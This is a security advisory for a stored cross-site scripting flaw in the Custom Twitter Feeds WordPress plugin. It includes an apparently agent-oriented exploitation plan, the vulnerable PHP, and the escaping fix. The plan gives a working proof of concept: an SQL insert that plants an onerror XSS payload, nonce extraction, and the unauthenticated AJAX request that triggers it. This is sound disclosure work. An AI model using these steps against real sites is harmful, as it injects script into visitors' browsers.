Custom Twitter Feeds <= 2.5.4 - Unauthenticated Stored Cross-Site Scripting via Cached Tweet Text
Description
The Custom Twitter Feeds plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.5.4. This is due to insufficient output escaping in the CTF_Display_Elements::get_post_text() function when rendering cached tweet text. The plugin's ctf_get_more_posts AJAX action is available to unauthenticated users and directly outputs cached tweet data through nl2br() without HTML escaping. When an attacker can get malicious content into cached tweet data (either by tweeting content that gets cached by the site's feed configuration, or through other vulnerabilities), the malicious HTML/JavaScript is executed when the unauthenticated endpoint is accessed. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the affected endpoint.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.5.4What Changed in the Fix
Changes introduced in v2.5.5
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-6177 ## 1. Vulnerability Summary **Vulnerability:** Unauthenticated Stored Cross-Site Scripting (XSS) **Plugin:** Custom Twitter Feeds (slug: `custom-twitter-feeds`) **Affected Versions:** <= 2.5.4 **Sink:** `CTF_Display_Elements::get_post_text()` in `inc/CTF…
Show full research plan
Vulnerability Research Plan: CVE-2026-6177
1. Vulnerability Summary
Vulnerability: Unauthenticated Stored Cross-Site Scripting (XSS)
Plugin: Custom Twitter Feeds (slug: custom-twitter-feeds)
Affected Versions: <= 2.5.4
Sink: CTF_Display_Elements::get_post_text() in inc/CTF_Display_Elements.php
Issue: The plugin fails to escape tweet content retrieved from its local cache before rendering it via an unauthenticated AJAX endpoint. While the source is theoretically Twitter/X API, the plugin's reliance on nl2br() instead of proper WordPress escaping functions like esc_html() or wp_kses_post() allows any HTML stored in the ctf_posts table to be executed in the browser.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
ctf_get_more_posts(Registered for bothwp_ajax_andwp_ajax_nopriv_) - Vulnerable Parameter: The payload is retrieved from the database (Stored XSS). The trigger is the AJAX request.
- Authentication: Unauthenticated.
- Preconditions:
- A Twitter feed must be configured or a dummy feed created.
- Malicious HTML must be present in the
twitter_text(or equivalent) column of thectf_poststable. - A valid AJAX nonce must be provided (if enforced).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=ctf_get_more_posts. - AJAX Handler: The handler (likely in
inc/ctf-functions.php) identifies the feed and queries thectf_poststable (defined by the constantCTF_POSTS_TABLE) for the next batch of tweets. - Data Retrieval: The tweet text is fetched from the database.
- Sink Call: The plugin iterates through the tweets and calls
CTF_Display_Elements::get_post_text($post_data, $feed_options). - Rendering:
get_post_text()processes the tweet text usingnl2br()to preserve line breaks but fails to callesc_html(). - Output: The raw, unescaped HTML is echoed back in the AJAX response (usually as part of a JSON object containing the HTML for the new posts).
4. Nonce Acquisition Strategy
The plugin enqueues a frontend script (ctf-scripts.min.js) which contains the AJAX logic and nonce.
- Shortcode: The primary shortcode is
[custom-twitter-feeds]. - Setup: Create a public page containing this shortcode.
- Navigation: Use the
browser_navigatetool to visit this page. - Extraction: The nonce and AJAX URL are typically localized in the
ctf_scriptglobal variable.- Command:
browser_eval("window.ctf_script?.nonce") - Alternative:
browser_eval("window.ctf_script?.ajax_url") - (Note: Based on previous versions of Smash Balloon plugins, the key is usually
noncewithin thectf_scriptobject).
- Command:
5. Exploitation Strategy
To demonstrate the vulnerability in a controlled environment, we will manually inject a payload into the plugin's cache table to simulate a malicious tweet being ingested.
Step 1: Inject Payload into Database
Since the vulnerability is "Stored," we need the payload in the DB. Use WP-CLI to insert a record into the ctf_posts table.
# Verify table name first
wp db query "SHOW TABLES LIKE '%ctf_posts%';"
# Insert malicious tweet text
# 'id_str' and 'text_data' are typical columns for this plugin
wp db query "INSERT INTO wp_ctf_posts (twitter_id, twitter_text, created_at) VALUES ('12345', '<img src=x onerror=alert(\"XSS_PROVEN\")>', NOW());"
Step 2: Trigger the Vulnerable Endpoint
Send the AJAX request using the http_request tool.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:ctf_get_more_postsfeed_id:1(or the ID of the feed created in setup)ctf_nonce:[EXTRACTED_NONCE]num:5offset:0
6. Test Data Setup
- Activate Plugin: Ensure
custom-twitter-feedsis active. - Create a Feed:
# Use the plugin's internal method to create a basic feed if needed, # or simply ensure the ctf_posts table exists by visiting the admin dashboard. - Publish a Page:
wp post create --post_type=page --post_title="Twitter Feed" --post_status=publish --post_content='[custom-twitter-feeds]' - Populate Table: Manually insert the XSS payload into the
ctf_poststable as described in the Exploitation Strategy.
7. Expected Results
- The AJAX response will return a JSON object.
- Within the
htmloroutputkey of that JSON, the string<img src=x onerror=alert("XSS_PROVEN")>(or itsnl2brversion) will be present literally. - Specifically, it will not be converted to
<img ... >. - When rendered in a browser context, the
onerrorevent will fire.
8. Verification Steps
- HTTP Verification: Inspect the body of the
http_requestresponse.- Search for the raw string:
onerror=alert
- Search for the raw string:
- DOM Verification: Use
browser_navigateto the page with the shortcode.- Click the "Load More" button (if available) or trigger the AJAX call via
browser_eval. - Use
browser_eval("document.body.innerHTML")to check for the presence of the injected<img>tag.
- Click the "Load More" button (if available) or trigger the AJAX call via
9. Alternative Approaches
- Feed Type Manipulation: If
ctf_get_more_postsbehaves differently for different feed types (e.g.,hashtagvsusertimeline), try setting thetypeparameter in the AJAX request. - Cache Table Variants: Depending on the specific version, the table might be
wp_ctf_postsor data might be stored inwp_optionsas a transient. If thectf_poststable is empty, check for transients:wp transient list | grep ctf_ - Direct Output: Some versions might render the initial feed load (not just "Load More") using the same vulnerable function. If so, visiting the page with the shortcode directly after DB injection may trigger the XSS.
Summary
The Custom Twitter Feeds plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via cached tweet text. This occurs because the `CTF_Display_Elements::get_post_text()` function fails to escape HTML content retrieved from the database cache, instead only processing it through `nl2br()`. An unauthenticated attacker can exploit this by ensuring malicious script content is stored in the tweet cache, which is then executed when the `ctf_get_more_posts` AJAX action is triggered.
Vulnerable Code
// inc/CTF_Display_Elements.php // Line 502 (Approximate) <p class="ctf-tweet-text"> <?php echo nl2br( $post_text ) ?> <?php if(!$feed_options['is_legacy'] || ($feed_options['is_legacy'] && ctf_show( 'placeholder', $feed_options ))){ echo $post_media_text; } ?> </p> --- // Line 518 (Approximate) <a class="ctf-tweet-text-link" <?php echo $text_and_link_attr; ?> href="<?php echo esc_url( 'https://twitter.com/' . $author_screen_name . '/status/' .$post_id ) ?>" target = "_blank" rel = "noopener noreferrer"> <p class="ctf-tweet-text" <?php echo $post_text_attr; ?>></p> </a> <p class="ctf-tweet-text" <?php echo $text_no_link_attr; ?> <?php echo $post_text_attr; ?>><?php echo nl2br( $post_text ) ?></p>
Security Fix
@@ -502,7 +502,7 @@ <a class="ctf-tweet-text-link" href="<?php echo esc_url( 'https://twitter.com/' . $author_screen_name . '/status/' .$post_id ) ?>" target = "_blank" rel = "noopener noreferrer"> <?php } ?> <p class="ctf-tweet-text"> - <?php echo nl2br( $post_text ) ?> + <?php echo wp_kses_post( nl2br( $post_text ) ) ?> <?php if(!$feed_options['is_legacy'] || ($feed_options['is_legacy'] && ctf_show( 'placeholder', $feed_options ))){ echo $post_media_text; @@ -518,7 +518,7 @@ <a class="ctf-tweet-text-link" <?php echo $text_and_link_attr; ?> href="<?php echo esc_url( 'https://twitter.com/' . $author_screen_name . '/status/' .$post_id ) ?>" target = "_blank" rel = "noopener noreferrer"> <p class="ctf-tweet-text" <?php echo $post_text_attr; ?>></p> </a> - <p class="ctf-tweet-text" <?php echo $text_no_link_attr; ?> <?php echo $post_text_attr; ?>><?php echo nl2br( $post_text ) ?></p> + <p class="ctf-tweet-text" <?php echo $text_no_link_attr; ?> <?php echo $post_text_attr; ?>><?php echo wp_kses_post( nl2br( $post_text ) ) ?></p> <?php if(!$feed_options['is_legacy'] || ($feed_options['is_legacy'] && ctf_show( 'placeholder', $feed_options ))){ echo $post_media_text;
Exploit Outline
The exploit requires a payload to be stored in the plugin's local tweet cache (typically the `ctf_posts` table) and then triggered via an AJAX request. 1. **Precondition:** The attacker ensures malicious HTML/JavaScript (e.g., `<img src=x onerror=alert(1)>`) is ingested into the `ctf_posts` database table. This can be achieved if the site follows a Twitter account controlled by the attacker or through any mechanism that populates the cache. 2. **Nonce Retrieval:** The attacker visits the site's frontend where a Twitter feed is displayed to extract the `ctf_nonce` and `feed_id` from the localized `ctf_script` JavaScript object. 3. **Endpoint Trigger:** The attacker sends an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the action `ctf_get_more_posts`, the extracted nonce, and the target feed ID. 4. **Execution:** The server retrieves the malicious payload from the database and returns it within a JSON response. The plugin's failure to use `esc_html` or `wp_kses_post` in the rendering logic for this AJAX endpoint causes the browser to execute the script when it is injected into the DOM.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.